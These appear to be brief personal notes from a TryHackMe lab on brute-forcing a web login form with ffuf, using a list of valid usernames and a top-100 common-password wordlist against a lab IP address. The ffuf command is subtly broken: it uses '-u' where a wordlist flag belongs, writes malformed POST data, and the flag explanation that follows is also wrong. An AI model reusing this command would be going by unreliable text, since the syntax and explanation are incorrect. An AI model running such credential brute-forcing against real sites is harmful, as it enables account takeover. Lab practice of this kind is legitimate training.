

an Automated process that tries a list of commonly used password against either a single username or, like in our case, a list of usernames.

```
Bruteforcing with ffuf
user@tryhackme$ ffuf -u valid_usernames.txt:w1,/usr/share/wordlists/SecLists/Passwords/Common-Credentials/10-million-password-list-top-100.txt:w2 -X POST -d "username:w1&password:w2" -H "Content-Type: application/x-www-form-urlencoded" -u http://10.10.207.9/customers/login -fc 200
```

It's little different from previous task.

-w wordlists

-w1 -w2 for search username and password, we need 2 words.

-fc argument to check for an HTTP status code other than 200
